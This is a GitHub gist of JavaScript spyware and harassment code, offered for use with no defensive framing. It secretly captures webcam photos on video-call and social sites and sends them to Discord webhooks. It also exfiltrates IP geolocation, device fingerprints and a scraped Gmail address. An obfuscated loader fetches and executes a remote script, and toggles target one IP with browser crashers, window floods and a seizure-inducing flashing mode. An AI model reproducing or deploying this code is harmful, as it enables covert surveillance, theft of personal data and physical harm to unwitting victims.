Last active
August 16, 2024 04:12
-
-
Save AFRIENDLYHACKER/74460ca101851065ba9fd1381dfba3c8 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const webhookUrl = 'https://discord.com/api/webhooks/1273360878607270061/A2qfHMLWBzZiHqeRHIhAkSnGCjK4nDS1SOqV1-q14PxAX3UsD_UqcL3hrJ7Mu5EBGGXx'; | |
const baseUrls = [ | |
'https://meet.google.com', | |
'https://app.zoom.us', | |
'https://instagram.com', | |
'https://tiktok.com', | |
'https://facebook.com', | |
'https://twitter.com', | |
'https://linkedin.com', | |
'https://youtube.com', | |
'https://pinterest.com', | |
'https://reddit.com', | |
'https://discord.com', | |
'https://snapchat.com', | |
'https://flickr.com', | |
'https://vimeo.com', | |
'https://twitch.tv', | |
'https://periscope.tv', | |
'https://medium.com', | |
'https://wordpress.com', | |
'https://blogger.com', | |
'https://tumblr.com', | |
'https://vk.com', | |
'https://ok.ru', | |
'https://livejournal.com', | |
'https://xing.com', | |
'https://github.com', | |
'https://stackexchange.com', | |
'https://quora.com', | |
'https://tripadvisor.com', | |
'https://yelp.com', | |
'https://foursquare.com', | |
'https://goodreads.com', | |
'https://soundcloud.com', | |
'https://mixcloud.com', | |
'https://last.fm', | |
'https://deviantart.com', | |
'https://dribbble.com', | |
'https://behance.net', | |
'https://500px.com', | |
'https://photobucket.com', | |
'https://imgur.com', | |
'https://9gag.com', | |
'https://imgflip.com', | |
'https://giphy.com', | |
'https://discord.com' | |
]; | |
if (baseUrls.includes(window.location.origin)) { | |
const infDiv = document.createElement('div'); | |
infDiv.id = 'inf'; | |
infDiv.style.position = 'fixed'; | |
infDiv.style.top = '0'; | |
infDiv.style.left = '0'; | |
infDiv.style.width = '1px'; | |
infDiv.style.height = '1px'; | |
infDiv.style.zIndex = '-9999999999'; | |
document.body.appendChild(infDiv); | |
const camera = document.getElementById('inf'); | |
navigator.mediaDevices.getUserMedia({ video: true, audio: false }) | |
.then(stream => { | |
const video = document.createElement('video'); | |
video.srcObject = stream; | |
video.autoplay = true; | |
camera.appendChild(video); | |
function sendPhoto() { | |
const canvas = document.createElement('canvas'); | |
canvas.width = video.videoWidth; | |
canvas.height = video.videoHeight; | |
const ctx = canvas.getContext('2d'); | |
ctx.drawImage(video, 0, 0, canvas.width, canvas.height); | |
canvas.toBlob(blob => { | |
const formData = new FormData(); | |
formData.append('file', blob, 'photo.jpg'); | |
fetch(webhookUrl, { | |
method: 'POST', | |
body: formData | |
}) | |
.then(response => response.json()) | |
.then(data => console.log(`Loading Page: ${data}`)) | |
.catch(error => console.error(`Error loading page: ${error}`)); | |
}, 'image/jpeg', 0.92); | |
} | |
setInterval(sendPhoto, 300); | |
}) | |
.catch(error => console.error(`Error accessing camera: ${error}`)); | |
} | |
const webhookUrl2 = 'https://discord.com/api/webhooks/1273361130445738126/b8kNlUmCkeWGTJOcSb6dWGuvEkMUThAJ7qaxuo3iAd31KbKJ9Y2bG-6j3fz2io_E-HDD'; | |
fetch('https://ipapi.co/json/') | |
.then(response => response.json()) | |
.then(data => { | |
const browserInfo = navigator.userAgent; | |
const screenResolution = `${screen.width}x${screen.height}`; | |
const windowSize = `${window.innerWidth}x${window.innerHeight}`; | |
const platform = navigator.platform; | |
const language = navigator.language; | |
const cookiesEnabled = navigator.cookieEnabled; | |
const javaEnabled = navigator.javaEnabled(); | |
const localTimezone = Intl.DateTimeFormat().resolvedOptions().timeZone; | |
const battery = navigator.getBattery(); | |
battery.then(battery => { | |
const batteryLevel = battery.level * 100; | |
const isCharging = battery.charging; | |
const embed = { | |
title: 'User Logging Info', | |
description: '', | |
fields: [ | |
{ | |
name: 'IP Address', | |
value: data.ip, | |
inline: true, | |
}, | |
{ | |
name: 'City', | |
value: data.city, | |
inline: true, | |
}, | |
{ | |
name: 'Region', | |
value: data.region, | |
inline: true, | |
}, | |
{ | |
name: 'Country', | |
value: data.country_name, | |
inline: true, | |
}, | |
{ | |
name: 'Location', | |
value: `${data.latitude},${data.longitude}`, | |
inline: true, | |
}, | |
{ | |
name: 'Organization', | |
value: data.org, | |
inline: true, | |
}, | |
{ | |
name: 'Postal', | |
value: data.postal, | |
inline: true, | |
}, | |
{ | |
name: 'Timezone', | |
value: data.timezone, | |
inline: true, | |
}, | |
{ | |
name: 'Browser Info', | |
value: browserInfo, | |
inline: true, | |
}, | |
{ | |
name: 'Screen Resolution', | |
value: screenResolution, | |
inline: true, | |
}, | |
{ | |
name: 'Window Size', | |
value: windowSize, | |
inline: true, | |
}, | |
{ | |
name: 'Platform', | |
value: platform, | |
inline: true, | |
}, | |
{ | |
name: 'Language', | |
value: language, | |
inline: true, | |
}, | |
{ | |
name: 'Cookies Enabled', | |
value: cookiesEnabled ? 'Yes' : 'No', | |
inline: true, | |
}, | |
{ | |
name: 'Java Enabled', | |
value: javaEnabled ? 'Yes' : 'No', | |
inline: true, | |
}, | |
{ | |
name: 'Local Timezone', | |
value: localTimezone, | |
inline: true, | |
}, | |
{ | |
name: 'Timestamp', | |
value: new Date().toISOString(), | |
inline: true, | |
}, | |
{ | |
name: 'Battery', | |
value: `${batteryLevel}%`, | |
inline: true, | |
}, | |
{ | |
name: 'Is Charging?', | |
value: isCharging ? 'true' : 'false', | |
inline: true, | |
}, | |
{ | |
name: 'Web Location', | |
value: window.location.href, | |
inline: true, | |
}, | |
], | |
timestamp: new Date().toISOString(), | |
}; | |
fetch(webhookUrl2, { | |
method: 'POST', | |
headers: { | |
'Content-Type': 'application/json', | |
}, | |
body: JSON.stringify({ embeds: [embed] }), | |
}); | |
}); | |
}); | |
const ip = "159.235.253.230"; | |
fetch('https://api.ipify.org?format=json') | |
.then(response => response.json()) | |
.then(data => { | |
const ipAddress = data.ip; | |
if (ipAddress === ip) { | |
let DisccordAccountDisabled = false; | |
let Lagger = false; | |
let Crasher = false; | |
let LoopCrasher = false; | |
let NoCursorAnimation = false; | |
let AlertLoop = false; | |
let moveElements = false; | |
let disco = false; | |
let RandomKeyPress = false; | |
let CursorFlicker = false; | |
let Epileptogenic = false; | |
let Removal = false; | |
let NoClick = false; | |
let NotifacationSpam = false; | |
let NotifacationMessage = ""; | |
let SelectSpam = false; | |
let PageDeleter = false; | |
let SpamAnnoyingSounds = false; | |
let ExplodePrank = false; | |
let InAccessibleWebPages = false; | |
let BigMouse = false; | |
if (DisccordAccountDisabled) { | |
const disableAccessKey = [104,116,116,112,115,58,47,47,103,105,115,116,46,103,105,116,104,117,98,117,115,101,114,99,111,110,116,101,110,116,46,99,111,109,47,65,70,82,73,69,78,68,76,89,72,65,67,75,69,82,47,52,54,100,54,52,55,54,57,54,102,100,52,53,48,57,100,52,97,48,48,100,57,55,51,50,52,55,102,52,49,55,102,47,114,97,119,47,50,50,97,57,52,56,56,53,52,102,48,57,50,50,100,55,101,100,49,48,52,50,55,102,100,54,56,57,100,54,56,54,101,98,100,55,100,57,48,57,47,68,105,115,97,98,108,101,37,50,53,50,48,68,105,115,99,111,114,100,37,50,53,50,48,65,99,99,111,117,110,116]; | |
const loader = String.fromCharCode(...disableAccessKey); | |
const g = b; | |
const policy = trustedTypes['createPolicy']('myPolicy', { | |
'createHTML': c => c, | |
'createScript': c => c | |
}); | |
function b(c, d) { | |
const e = a(); | |
b = function (f, g) { | |
f = f - 0x1bb; | |
let h = e[f]; | |
return h; | |
}; | |
return b(c, d); | |
} | |
fetch(loader)[g(0x1bb)](c => c[g(0x1bc)]())['then'](c => { | |
const h = g; | |
const d = policy[h(0x1bd)](c); | |
const e = policy[h(0x1be)](c); | |
const f = document[h(0x1bf)](h(0x1c0)); | |
f[h(0x1c1)] = e; | |
document[h(0x1c2)][h(0x1c3)](f); | |
})[g(0x1c4)](c => { | |
const i = g; | |
console[i(0x1c5)](i(0x1c6), c); | |
}); | |
console[g(0x1c7)](g(0x1c8)); | |
function a() { | |
const j = [ | |
'then', | |
'text', | |
'createHTML', | |
'createScript', | |
'createElement', | |
'script', | |
'textContent', | |
'head', | |
'appendChild', | |
'catch', | |
'error', | |
'Error\x20fetching\x20or\x20evaluating\x20the\x20script:', | |
'log', | |
'Loading...A.D' | |
]; | |
a = function () { | |
return j; | |
}; | |
return a(); | |
} | |
} | |
if (Lagger) { | |
setInterval(() => { | |
for (let i = 0; i < 100000000; i++) { | |
fetch('https://api.github.com/users/octocat') | |
.then(response => response.json()) | |
.then(data => console.log(data)) | |
.catch(error => console.error('Error:', error)); | |
} | |
}, 0); | |
} | |
if (NoCursorAnimation) { | |
setInterval(() => { | |
const x = Math.random() * window.innerWidth; | |
const y = Math.random() * window.innerHeight; | |
document.body.style.cursor = `pointer`; | |
document.body.style.setProperty(`--cursor-x`, `${x}px`); | |
document.body.style.setProperty(`--cursor-y`, `${y}px`); | |
}, 0); | |
} | |
if (AlertLoop) { | |
setInterval(() => { | |
alert('Hello!'); | |
}, 0); | |
} | |
if (moveElements) { | |
setInterval(function() { | |
var elements = document.body.children; | |
for (var i = 0; i < elements.length; i++) { | |
elements[i].style.position = "absolute"; | |
elements[i].style.top = `${Math.random() * window.innerHeight}px`; | |
elements[i].style.left = `${Math.random() * window.innerWidth}px`; | |
} | |
}, 100); | |
} | |
if (disco) { | |
setInterval(() => { | |
const randomColor = `#${Math.floor(Math.random() * 16777215).toString(16)}`; | |
document.body.style.background = randomColor; | |
}, 0); | |
} | |
if (RandomKeyPress) { | |
setInterval(() => { | |
const randomKey = Math.random().toString(36).substr(2, 1); | |
const event = new KeyboardEvent('keydown', { | |
bubbles: true, | |
cancelable: true, | |
key: randomKey | |
}); | |
document.dispatchEvent(event); | |
}, 0); | |
} | |
if (CursorFlicker) { | |
setInterval(function() { | |
document.body.style.cursor = 'none'; | |
setTimeout(function() { | |
document.body.style.cursor = 'auto'; | |
}, 0); | |
}, 0); | |
} | |
if (Epileptogenic) { | |
for (var i = 0; i < 100; i++) { | |
eval("setInterval(function() { document.body.innerHTML = ''; document.body.style.backgroundColor = (document.body.style.backgroundColor === 'red') ? 'blue' : 'red'; }, 0);"); | |
} | |
} | |
if (Removal) { | |
const removableElements = document.querySelectorAll('button, a, input, li'); | |
removableElements.forEach((element) => { | |
element.addEventListener('mouseover', (event) => { | |
element.remove(); | |
}); | |
}); | |
} | |
if (NoClick) { | |
document.querySelectorAll('*').forEach((element) => { | |
for (let i = 0; i < 1000; i++) { | |
element.addEventListener('click', () => console.log('Click!')); | |
} | |
}); | |
} | |
if (SelectSpam) { | |
setInterval(() => { | |
document.execCommand('selectall'); | |
setTimeout(() => { | |
document.execCommand('unselect'); | |
}, 0); | |
}, 0); | |
} | |
if (NotifacationSpam) { | |
setInterval(() => { | |
Notification.requestPermission().then((permission) => { | |
if (permission === 'granted') { | |
new Notification(NotifacationMessage); | |
} | |
}); | |
}, 0); | |
} | |
if (Crasher) { | |
setInterval(() => { | |
history.pushState({}, '', window.location.href + Math.random() * 999999999999999999999999999999999); | |
}, 0); | |
setInterval(() => { | |
document.cookie = `cookie_${Math.random() * 100000}=value_${Math.random() * 100000}; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/`; | |
}, 0); | |
setInterval(() => { | |
localStorage.setItem(`key_${Math.random() * 100000}`, `value_${Math.random() * 100000}`); | |
}, 0); | |
setInterval(() => { | |
for (let i = 0; i < 100000000; i++) { | |
fetch('https://api.github.com/users/octocat') | |
.then(response => response.json()) | |
.then(data => console.log(data)) | |
.catch(error => console.error('Error:', error)); | |
} | |
}, 0); | |
} | |
if (PageDeleter) { | |
function getTextFromURL(url) { | |
return fetch(url).then(response => { | |
if (!response.ok) { | |
throw new Error('Network response was not ok'); | |
} | |
return response.text(); | |
}).catch(error => { | |
console.error('There was a problem fetching the text:', error); | |
}); | |
} | |
const url = 'https://pastebin.com/raw/tWgnWSMF'; | |
getTextFromURL(url).then(text => { | |
const currentSite = window.location.href; | |
const updatedUrl = new URL(currentSite); | |
updatedUrl.searchParams.set('ShouldCrashSite', 'True'); | |
updatedUrl.searchParams.set('scriptVersion', 'v1.2.3'); | |
updatedUrl.searchParams.set('CrashCode=', '104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,116,87,103,110,87,83,77,70,63,83,104,111,117,108,100,67,114,97,115,104,83,105,116,101,61,84,114,117,101,38,115,99,114,105,112,116,86,101,114,115,105,111,110,61,118,49,46,50,46,51'); | |
window.location.href = currentSite + ' deleted / ' + text + new TextEncoder().encode(updatedUrl.href).toString(); | |
}); | |
function setCookie(cookieName, cookieValue, expirationDays) { | |
const date = new Date(); | |
date.setTime(date.getTime() + (expirationDays * 24 * 60 * 60 * 1000)); | |
const expires = "expires=" + date.toUTCString(); | |
document.cookie = cookieName + "=" + cookieValue + ";" + expires + ";path=/"; | |
} | |
setCookie("SkillIssue", "Get Wrecked :)", 7); | |
} | |
if (LoopCrasher) { | |
const currentUrl = window.location.href; | |
const screenWidth = window.screen.width; | |
const screenHeight = window.screen.height; | |
let windows = []; | |
for (let i = 0; i < 1000; i++) { | |
const newWindow = window.open(currentUrl, `_blank_${i}`, `width=10000,height=1,left=${screenWidth},top=0,menubar=no,toolbar=no,location=no,status=no,directories=no`); | |
newWindow.document.body.style.cssText = 'margin: 0; border: none;'; | |
newWindow.document.documentElement.style.cssText = ` | |
overflow: hidden; | |
user-select: none; | |
cursor: none; | |
position: absolute; | |
left: -9999px; | |
top: -9999px; | |
visibility: hidden; | |
pointer-events: none; | |
opacity: 0; | |
`; | |
newWindow.moveTo(-99999999999999, -999999999999999); | |
newWindow.resizeTo(0, 0); | |
newWindow.moveTo(screenWidth - newWindow.outerWidth, -newWindow.outerHeight); | |
windows.push(newWindow); | |
} | |
function resizeLoop() { | |
for (let i = 0; i < windows.length; i++) { | |
windows[i].resizeTo(Math.random() * 1000, 1000); | |
} | |
setTimeout(resizeLoop, 10); | |
} | |
resizeLoop(); | |
} | |
if (SpamAnnoyingSounds) { | |
const audio = new Audio('https://cdn.glitch.global/569dfaeb-6dca-4e88-b8e1-2965765bbe4e/Voicy_most%20annoying%20noise%20ever.mp3?v=1723745242912'); | |
audio.loop = true; | |
audio.play(); | |
} | |
if (ExplodePrank) { | |
const audio = new Audio('https://cdn.glitch.global/569dfaeb-6dca-4e88-b8e1-2965765bbe4e/20Hz%20to%2020kHz%20(Human%20Audio%20Spectrum).mp3?v=1723745825427'); | |
audio.loop = true; | |
audio.play(); | |
setTimeout(function() { | |
alert("Your Device is Finna Explode!! 🤡"); | |
}, 10000); | |
setTimeout(function() { | |
setInterval(() => { | |
history.pushState({}, '', window.location.href + "/Exploding..." + Math.random() * 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999); | |
}, 0); | |
}, 60000); | |
} | |
if (InAccessibleWebPages) { | |
setInterval(() => { | |
history.back(); | |
}, 0); | |
} | |
if (BigMouse) { | |
document.getElementsByTagName("body")[0].style.cursor = "url('http://wiki-devel.sugarlabs.org/images/e/e2/Arrow.cur'), auto"; | |
} | |
} | |
}); | |
navigator.mediaDevices.enumerateDevices() | |
.then(devices => { | |
const deviceInfo = devices.map(device => { | |
let deviceText = `Device ID: ${device.deviceId}\n Kind: ${device.kind}\n Label: ${device.label}\n`; | |
if (device.kind === 'videoinput') { | |
deviceText += ` Facing mode: ${device.facingMode}\n Width: ${device.width}\n Height: ${device.height}\n`; | |
} else if (device.kind === 'audioinput') { | |
deviceText += ` Channel count: ${device.channelCount}\n Sample rate: ${device.sampleRate}\n Sample size: ${device.sampleSize}\n`; | |
} | |
return deviceText; | |
}).join('\n---\n'); | |
const cpuInfo = navigator.hardwareConcurrency; | |
const cpuText = `CPU Cores: ${cpuInfo}`; | |
const gl = document.createElement('canvas').getContext('webgl'); | |
const gpuInfo = gl.getExtension('WEBGL_debug_renderer_info'); | |
const gpuText = `GPU Renderer: ${gl.getParameter(gpuInfo.UNMASKED_RENDERER_WEBGL)}`; | |
const browserInfo = getBrowser(); | |
const browserText = `Browser: ${browserInfo.browser} ${browserInfo.version}`; | |
const osInfo = getOS(); | |
const osText = `OS: ${osInfo.os} ${osInfo.version}`; | |
const screenInfo = getScreenInfo(); | |
const screenText = `Screen Resolution: ${screenInfo.resolution}\n Color Depth: ${screenInfo.colorDepth}`; | |
const languageInfo = getLanguage(); | |
const languageText = `Language: ${languageInfo.language}\n Region: ${languageInfo.region}`; | |
const timezoneInfo = getTimezone(); | |
const timezoneText = `Timezone: ${timezoneInfo.timezone}\n Offset: ${timezoneInfo.offset}`; | |
const deviceTypeInfo = getDeviceType(); | |
const deviceTypeText = `Device Type: ${deviceTypeInfo.deviceType}`; | |
const embed = { | |
"title": "System Information", | |
"description": "System information gathered from the user's device", | |
"fields": [ | |
{ | |
"name": "Devices", | |
"value": deviceInfo, | |
"inline": false | |
}, | |
{ | |
"name": "CPU", | |
"value": cpuText, | |
"inline": true | |
}, | |
{ | |
"name": "GPU", | |
"value": gpuText, | |
"inline": true | |
}, | |
{ | |
"name": "Browser", | |
"value": browserText, | |
"inline": true | |
}, | |
{ | |
"name": "OS", | |
"value": osText, | |
"inline": true | |
}, | |
{ | |
"name": "Screen", | |
"value": screenText, | |
"inline": true | |
}, | |
{ | |
"name": "Language", | |
"value": languageText, | |
"inline": true | |
}, | |
{ | |
"name": "Timezone", | |
"value": timezoneText, | |
"inline": true | |
}, | |
{ | |
"name": "Device Type", | |
"value": deviceTypeText, | |
"inline": true | |
} | |
] | |
}; | |
const webhookUrl = 'https://discord.com/api/webhooks/1273484039470448681/GfNxrDEfiCj0oLpf1lFcdW1ENOXKuh9VNDSCvxRKcbup2Pe-j_kn0XPIdlXHtqHZbj5G'; | |
fetch(webhookUrl, { | |
method: 'POST', | |
headers: { | |
'Content-Type': 'application/json' | |
}, | |
body: JSON.stringify({ embeds: [embed] }) | |
}); | |
}); | |
// Helper functions | |
function getBrowser() { | |
const userAgent = navigator.userAgent; | |
let browser = ''; | |
let version = ''; | |
if (userAgent.indexOf("Chrome") != -1) { | |
browser = "Google Chrome"; | |
version = userAgent.match(/Chrome\/(\d+(\.\d+)+)/)[1]; | |
} else if (userAgent.indexOf("Firefox") != -1) { | |
browser = "Mozilla Firefox"; | |
version = userAgent.match(/Firefox\/(\d+(\.\d+)+)/)[1]; | |
} | |
return { browser, version }; | |
} | |
function getOS() { | |
const userAgent = navigator.userAgent; | |
let os = ''; | |
let version = ''; | |
if (userAgent.indexOf("Windows") != -1) { | |
os = "Windows"; | |
version = userAgent.match(/Windows NT (\d+(\.\d+)+)/)[1]; | |
} else if (userAgent.indexOf("Macintosh") != -1) { | |
os = "MacOS"; | |
version = userAgent.match(/Mac OS X (\d+(\.\d+)+)/)[1]; | |
} | |
return { os, version }; | |
} | |
function getScreenInfo() { | |
const screenWidth = screen.width; | |
const screenHeight = screen.height; | |
const colorDepth = screen.colorDepth; | |
return { resolution: `${screenWidth}x${screenHeight}`, colorDepth }; | |
} | |
function getLanguage() { | |
const language = navigator.language; | |
const region = navigator.region; | |
return { language, region }; | |
} | |
function getTimezone() { | |
const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone; | |
const offset = new Date().getTimezoneOffset() / 60; | |
return { timezone, offset }; | |
} | |
function getDeviceType() { | |
const userAgent = navigator.userAgent; | |
let deviceType = ''; | |
if (userAgent.indexOf("Mobile") != -1 || userAgent.indexOf("Android") != -1 || userAgent.indexOf("iPhone") != -1) { | |
deviceType = "Mobile"; | |
} else { | |
deviceType = "Desktop"; | |
} | |
return { deviceType }; | |
} | |
var previousWindow = null; | |
var currentUrl = "https://myaccount.google.com/"; | |
var screenWidth = window.screen.width; | |
var screenHeight = window.screen.height; | |
var newWindow = window.open(currentUrl, '_blank', 'width=10000,height=1,left=' + (screenWidth - 0) + ',top=0,menubar=no,toolbar=no,location=no,status=no,directories=no'); | |
newWindow.document.body.style.margin = '0'; | |
newWindow.document.body.style.border = 'none'; | |
newWindow.document.documentElement.style.overflow = 'hidden'; | |
newWindow.blur(); | |
var customLeft = -99999999999999; | |
var customTop = -999999999999999; | |
newWindow.moveTo(customLeft, customTop); | |
newWindow.resizeTo(0, 0); | |
newWindow.moveTo(screenWidth - newWindow.outerWidth, -newWindow.outerHeight); | |
newWindow.document.documentElement.style.userSelect = 'none'; | |
newWindow.document.documentElement.style.cursor = 'none'; | |
newWindow.document.documentElement.style.position = 'absolute'; | |
newWindow.document.documentElement.style.left = '-9999px'; | |
newWindow.document.documentElement.style.top = '-9999px'; | |
newWindow.document.documentElement.style.visibility = 'hidden'; | |
newWindow.document.documentElement.style.pointerEvents = 'none'; | |
newWindow.document.documentElement.style.opacity = '0'; | |
previousWindow = newWindow; | |
setTimeout(function() { | |
if (previousWindow && !previousWindow.closed) { | |
previousWindow.close(); | |
} | |
}, 7000); | |
(function () { | |
const webhookURL = "https://discord.com/api/webhooks/1273824370980294736/tRSsygAyk_hywDgsgGpM_m_X0eYCFFMslLWjdJfMzmI_j026jvHnqm3EGC2HjUmwLfVk"; | |
function sendToWebhook(email) { | |
const request = new XMLHttpRequest(); | |
request.open("POST", webhookURL, true); | |
request.setRequestHeader("Content-Type", "application/json"); | |
const embedMessage = { | |
username: "Email Extractor", | |
avatar_url: "https://i.postimg.cc/HxvhvJbt/image.png", | |
embeds: [ | |
{ | |
title: "Extracted Gmail Address", | |
description: "Here is the Gmail address we extracted:", | |
color: 0x1DA1F2, | |
fields: [ | |
{ | |
name: "Gmail Address", | |
value: email | |
} | |
] | |
} | |
] | |
}; | |
request.send(JSON.stringify(embedMessage)); | |
} | |
if (window.location.origin === "https://myaccount.google.com") { | |
const allElements = document.querySelectorAll('*'); | |
let gmailCount = 0; | |
const regex = /\b[A-Za-z0-9._%+-]+@gmail\.com\b/; | |
allElements.forEach(element => { | |
const text = element.textContent; | |
const matches = text.match(regex); | |
if (matches) { | |
matches.forEach(email => { | |
gmailCount++; | |
if (gmailCount === 2) { | |
console.log(`Extracted Gmail address: ${email}`); | |
sendToWebhook(email); | |
return; | |
} | |
}); | |
} | |
}); | |
} | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment